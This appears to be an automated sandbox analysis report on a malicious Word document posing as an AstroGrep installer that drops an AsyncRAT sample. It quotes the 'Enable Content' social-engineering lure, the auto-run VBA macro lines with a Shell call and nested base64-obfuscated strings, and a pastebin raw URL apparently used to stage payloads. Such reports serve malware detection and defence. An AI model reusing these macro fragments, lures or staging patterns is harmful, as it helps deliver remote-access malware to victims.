Source: ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: ms.exe, 00000002.00000002.2395032215.0000000002927000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2479870233.0000000003377000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp	String found in binary or memory: https://nlog-project.org/
Source: astro-grep.exe, 0000000C.00000002.2652418016.000000000245A000.00000004.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652322196.00000000022E1000.00000004.00000001.sdmp	String found in binary or memory: https://pastebin.com
Source: astro-grep.exe, 0000000C.00000002.2652446200.00000000024E6000.00000004.00000001.sdmp	String found in binary or memory: https://pastebin.com/raw
Source: ASTRO-GREP.EXE, 00000003.00000002.2441616944.0000000002431000.00000004.00000001.sdmp, ASTRO-GREP.EXE, 00000003.00000002.2441768863.00000000024C1000.00000004.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652322196.00000000022E1000.00000004.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652178883.0000000000750000.00000004.00000020.sdmp, astro-grep.exe, 0000000C.00000002.2652446200.00000000024E6000.00000004.00000001.sdmp	String found in binary or memory: https://pastebin.com/raw/VTByvKGM
Source: astro-grep.exe, 0000000C.00000002.2652446200.00000000024E6000.00000004.00000001.sdmp	String found in binary or memory: https://pastebin.com/raw/VTByvKGMHD
Source: ASTRO-GREP.EXE, 00000003.00000002.2441768863.00000000024C1000.00000004.00000001.sdmp	String found in binary or memory: https://pastebin.com/raw/VTByvKGMHD9m
Source: ASTRO-GREP.EXE, 00000003.00000002.2441768863.00000000024C1000.00000004.00000001.sdmp	String found in binary or memory: https://pastebin.com/raw/VTByvKGMHD9mPHD9m0HD9m
Source: astro-grep.exe, 0000000C.00000002.2652322196.00000000022E1000.00000004.00000001.sdmp	String found in binary or memory: https://pastebin.comP
Source: astro-grep.exe, 0000000C.00000002.2652380939.0000000002368000.00000004.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652361514.0000000002344000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp	String found in binary or memory: https://www.nuget.org/packages/NLog.Web.AspNetCore

Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected AsyncRAT

Show sources

Source: Yara match	File source: 12.2.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.24afcd8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ASTRO-GREP.EXE.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b7f330.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b7f330.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.24afcd8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b7f330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b7f330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2441547401.0000000000922000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.2447425472.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.2450569517.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2501813179.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2389222840.0000000000922000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2652015747.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2441758985.00000000024AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2386988323.0000000000B7F000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ASTRO-GREP.EXE PID: 2432, type: MEMORY
Source: Yara match	File source: Process Memory Space: astro-grep.exe PID: 2468, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\astro-grep.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Memsys\ms.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE

Code function: 4_2_00405086 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

4_2_00405086

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 24	Screenshot OCR: document is protected ' to avoid sensible data leak. Please click "Enable Content' to vy view de
Source: Screenshot number: 24	Screenshot OCR: PROTECTED DOCUMENT 4 " 4 This document is protected ' to avoid sensible data leak. Please click
Source: Screenshot number: 24	Screenshot OCR: Enable Content' to vy view decrypted message I O "g" ' 0' "' I Wo"" ' I I 13 70% G) A GE
Source: Document image extraction number: 0	Screenshot OCR: document is protected to avoid sensible data leak. Please click "Enable Content" to view decrypte
Source: Document image extraction number: 0	Screenshot OCR: PROTECTED DOCUMENT This document is protected to avoid sensible data leak. Please click "Enable C
Source: Document image extraction number: 0	Screenshot OCR: Enable Content" to view decrypted message
Source: Document image extraction number: 1	Screenshot OCR: document is protected to avoid sensible data leak. Please click "Enable Content" to view decrypte
Source: Document image extraction number: 1	Screenshot OCR: PROTECTED DOCUMENT This document is protected to avoid sensible data leak. Please click "Enable C
Source: Document image extraction number: 1	Screenshot OCR: Enable Content" to view decrypted message
Source: Screenshot number: 28	Screenshot OCR: PROTECTED DOCUMENT 4 " 4 Thl cument is protected ' to jg; sensible data leak. Please click "Ena
Source: Screenshot number: 28	Screenshot OCR: Enable Content' to view decrypted message i i I ft Cl =~ 1,G) O "g" ' 0' "' I Wo"" ' I I

Document contains an embedded VBA macro which may execute processes

Show sources

Source: astro-grep-setup.exe.doc

OLE, VBA macro line: OBsGG = Shell(vbHH, 1)

Document contains an embedded VBA macro with suspicious strings

Show sources

Source: astro-grep-setup.exe.doc	OLE, VBA macro line: o______XX2233213199 = Environ(sss(sss(sss(sss(sss(sss(sss(sss("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="))))))))) + sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="))))))))))))))
Source: astro-grep-setup.exe.doc	OLE, VBA macro line: o______XX2233213199 = Environ(sss(sss(sss(sss(sss(sss(sss(sss("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="))))))))) + sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="))))))))))))))
Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function RemoveParagraph, String environ: o______XX2233213199 = Environ(sss(sss(sss(sss(sss(sss(sss(sss("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="))))))))) + sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="))))))))))))))	Name: RemoveParagraph
Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function o______XX16041118053, String environ: o______XX2233213199 = Environ(sss(sss(sss(sss(sss(sss(sss(sss("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="))))))))) + sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="))))))))))))))	Name: o______XX16041118053

Document contains an embedded VBA with base64 encoded strings

Show sources

Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function RemoveParagraph, String Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9
Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function RemoveParagraph, String Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVbTVrVmxKc2NIcFhhMXBQVjBaS2MySkVUbGhoTWsweFZtcEJlRll5U2tWVWJHaG9UV3N3ZUZacVFtRlRNazE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmJFcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdWakZXZEZOc1dsaGlSMmhZV1ZkMFlWUkdWWGhYYlVaclVqQTFSMVV5TVRSVk1rcFhVMnR3VjJKVVJYZFdha1pYWkVaT2MxZHNhR2xTYTNCWlYxZDRiMkl5Vm5OVmJGWlRZbGhTV0ZSV2FFTlNiRnBZWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwbGEzQklXWHBHVDJSV1ZuTlhiV3hvVFVoQ1dWWXhaRFJpTVZWM1RVaG9WMWRIYUZsWmJHaFRWMFpTVjJGRlRsUmlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNW9lbFpxUm1GT2JFWlpZVVprVTFKV2NEWldiWEJIVkRKU1YxVnVVbXBTYkVwVVZteG9RMWRXV1hoYVJGSnBUVlpXTTFSVmFHOVdiVXB6VTI1T1ZtRnJTbWhaTVZwVFZqRndSMVJyTlZOaVJtOTNWMnhXYTAxR1dsaFRhMlJxVWtWYVYxWnFUbTlrYkZweFVtdDBhazFyTlVoWlZWcHJZVWRGZWxGcmJGZFdSVXBvVjFaa1UxWXhUblZVYkZKcFVqRktWVlpHVWtKa01ERlNVRlF3UFE9PQ==
Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function RemoveParagraph, String Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0=
Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function RemoveParagraph, String Vm0wd2QyUXlVWGxXYTJoV1YwZG9WVll3WkRSV1JsbDNXa1pPVmxKc2NIcFhhMk0xVmpGYWMySkVUbGhoTWsweFZtcEJlRmRIVmtWUmJVWlhWbXhzTTFadGNFSmxSbVJJVm10c2FWSnRhRzlVVm1oRFZWWmtWMXBFVWxwV01ERTBWMnRvUjFWdFNrZFhiR2hhWVRGYU0xWnNXbXRXTVdSelYyMTRVMkpIZHpCV01uUnZWakpHUjFOdVVsWmlSa3BvVm1wT1UxbFdjRmhsUjBacVRWWndNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ==
Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function Wipedir, String Vm0wd2QyUXlVWGxXYTFwUFZsZFNXRll3Wkc5V2JGbDNXa2M1VjAxV2JETlhhMUpUVjBaS2RHVkliRmhoTWsweFZtcEdTMlJIVmtsaVJtaG9UVlZ3VlZadE1YcGxSbVJJVm10a2FWSXdXbFJXYlhoelRURmtWMWRzV214U2JHdzFWa2QwVjFVeVNrbFJhemxXWWxSV1JGcFdXbXRXTVZaeVdrWndWMDFFUlRCV2EyTXhVekpHVjFOWVpGaGlSa3BZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUZOaFZscHlWMVJHVjJFeVVYZFhWbVJIVmpGT2RWVnNXbWxoTUhCWlZrWldhMVV5VW5OWGJrNVlZbGhTV1ZWcVJrdFRWbFowVFZjNVZXSkdjRnBWVjNCWFZqRkplbUZHYUZwbGExcDZWbXBHVDJSV1ZuUmhSbEpUVmxoQ1dWWXhXbXROUmtwMFZWaG9WbUpHY0ZsWmJGWmhZMVpTVjFkdVpFNVNiRm93VkZab2ExWlhTbFpqUldSYVRVWmFNMVpxU2tabFZsWlpXa1p3YUdFelFrMVdWM0JIVkRKU1YxZHVUbFJpVjJoeldXeG9iMWRHV25STlNHaFBVbTE0V0ZZeGFHOVdiVXB5VGxaU1YyRXlVVEJXVjNoaFZqRldXVnBHUWxaV1JFRTE=
Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function o______XX16041118053, String Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0=

Document contains an embedded VBA with hexadecimal encoded strings

Show sources

Source: astro-grep-setup.exe.doc

Stream path 'VBA/NewMacros' : found hex strings

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\ProgramData\Memsys\ms.exe

Jump to dropped file

Source: C:\ProgramData\Memsys\ms.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE

Code function: 4_2_0040310F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,ExitProcess,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

4_2_0040310F

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Code function: 3_2_001D3868	3_2_001D3868
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Code function: 3_2_001D4540	3_2_001D4540
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Code function: 3_2_001D3520	3_2_001D3520
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Code function: 4_2_004048C5	4_2_004048C5
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Code function: 4_2_004064CB	4_2_004064CB
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Code function: 4_2_00406CA2	4_2_00406CA2
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Code function: 12_2_001B3868	12_2_001B3868
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Code function: 12_2_001B4540	12_2_001B4540
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Code function: 12_2_001B3520	12_2_001B3520

Source: astro-grep-setup.exe.doc	OLE, VBA macro line: Sub AutoOpen()
Source: astro-grep-setup.exe.doc	OLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function AutoOpen	Name: AutoOpen
Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function Workbook_Open	Name: Workbook_Open

Source: astro-grep-setup.exe.doc

OLE indicator, VBA macros: true

Source: astro-grep-setup.exe.doc

OLE indicator has summary info: false

Source: astro-grep-setup.exe.doc

OLE indicator application name: unknown

Source: ms.exe.0.dr	Static PE information: Resource name: RBIND type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ms.exe.0.dr	Static PE information: Resource name: RBIND type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Source: ms.exe.0.dr	Static PE information: Resource name: RBIND type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Source: ASTROGREP_SETUP_V4.4.7.EXE.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ASTROGREP_SETUP_V4.4.7.EXE.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ASTROGREP_SETUP_V4.4.7.EXE.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AstroGrep.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: ms.exe.0.dr

Static PE information: Data appended to the last section found

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE

Window title found: astrogrep v4.4.7 setup < &backi &agreecancelnullsoft install system v3.0rc1 nullsoft install system v3.0rc1license agreementplease review the license terms before installing astrogrep v4.4.7.press page down to see the rest of the agreement. gnu general public license version 2 june 1991 copyright (c) 1989 1991 free software foundation inc. 59 temple place suite 330 boston ma 02111-1307 usa everyone is permitted to copy and distribute verbatim copies of this license document but changing it is not allowed. preamble the licenses for most software are designed to take away yourfreedom to share and change it. by contrast the gnu general publiclicense is intended to guarantee your freedom to share and change freesoftware--to make sure the software is free for all its users. thisgeneral public license applies to most of the free softwarefoundation's software and to any other program whose authors commit tousing it. (some other free software foundation software is covered bythe gnu library general public license instead.) you can apply it toyour programs too. when we speak of free software we are referring to freedom notprice. our general public licenses are designed to make sure that youhave the freedom to distribute copies of free software (and charge forthis service if you wish) that you receive source code or can get itif you want it that you can change the software or use pieces of itin new free programs; and that you know you can do these things. to protect your rights we need to make restrictions that forbidanyone to deny you these rights or to ask you to surrender the rights.these restrictions translate to certain responsibilities for you if youdistribute copies of the software or if you modify it. for example if you distribute copies of such a program whethergratis or for a fee you must give the recipients all the rights thatyou have. you must make sure that they too receive or can get thesource code. and you must show them these terms so they know theirrights. we protect your rights with two steps: (1) copyright the software and(2) offer you this license which gives you legal permission to copydistribute and/or modify the software. also for each author's protection and ours we want to make certainthat everyone understands that there is no warranty for this freesoftware. if the software is modified by someone else and passed on wewant its recipients to know that what they have is not the original sothat any problems introduced by others will not reflect on the originalauthors' reputations. finally any free program is threatened constantly by softwarepatents. we wish to avoid the danger that redistributors of a freeprogram will individually obtain patent licenses in effect making theprogram proprietary. to prevent this we have made it clear that anypatent must be licensed for everyone's free use or not licensed at all. the precise terms and conditions for copying distribution andmodification follow.

Source: 2.2.ms.exe.b70000.0.unpack, type: UNPACKEDPE	Matched rule: Malware_QA_update date = 2016-08-29, hash2 = 6415b45f5bae6429dd5d92d6cae46e8a704873b7090853e68e80cd179058903e, author = Florian Roth, description = VT Research QA uploaded malware - file update.exe, reference = VT Research QA, license = https://creativecommons.org/licenses/by-nc/4.0/, score = 6d805533623d7063241620eec38b7eb9b625533ccadeaf4f6c2cc6db32711541
Source: 2.0.ms.exe.b70000.0.unpack, type: UNPACKEDPE	Matched rule: Malware_QA_update date = 2016-08-29, hash2 = 6415b45f5bae6429dd5d92d6cae46e8a704873b7090853e68e80cd179058903e, author = Florian Roth, description = VT Research QA uploaded malware - file update.exe, reference = VT Research QA, license = https://creativecommons.org/licenses/by-nc/4.0/, score = 6d805533623d7063241620eec38b7eb9b625533ccadeaf4f6c2cc6db32711541
Source: C:\ProgramData\Memsys\ms.exe, type: DROPPED	Matched rule: Malware_QA_update date = 2016-08-29, hash2 = 6415b45f5bae6429dd5d92d6cae46e8a704873b7090853e68e80cd179058903e, author = Florian Roth, description = VT Research QA uploaded malware - file update.exe, reference = VT Research QA, license = https://creativecommons.org/licenses/by-nc/4.0/, score = 6d805533623d7063241620eec38b7eb9b625533ccadeaf4f6c2cc6db32711541

